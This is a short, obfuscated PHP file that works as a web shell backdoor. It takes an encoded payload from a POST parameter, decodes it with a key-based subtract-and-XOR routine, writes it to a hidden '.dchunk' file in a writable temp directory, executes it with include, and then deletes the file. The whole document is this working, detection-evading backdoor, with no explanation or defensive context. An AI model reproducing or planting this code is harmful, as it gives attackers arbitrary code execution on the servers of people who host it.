<?php

if(isset($_POST["e\x6Ce\x6D"]) ? true : false){
	$flag = $_POST["e\x6Ce\x6D"];
		$flag	=	explode ( 	 "."	 	,	  $flag	)		;	
	$entity = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s2);
    
            foreach ($flag as $y => $v3) {$sChar = ord($s2[$y % $sLen]);
                $d = ((int)$v3 - $sChar - ($y % 10)) ^ 68;
                $entity .= chr($d);
            }
	$value = array_filter(["/dev/shm", "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp"]);
	$reference = 0;
do {
    $data_chunk = $value[$reference] ?? null;
    if ($reference >= count($value)) break;
    		if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) {
    $rec = "$data_chunk" . "/.dchunk";
    if (@file_put_contents($rec, $entity) !== false) {
	include $rec;
	unlink($rec);
	exit;
}
}
    $reference++;
} while (true);
}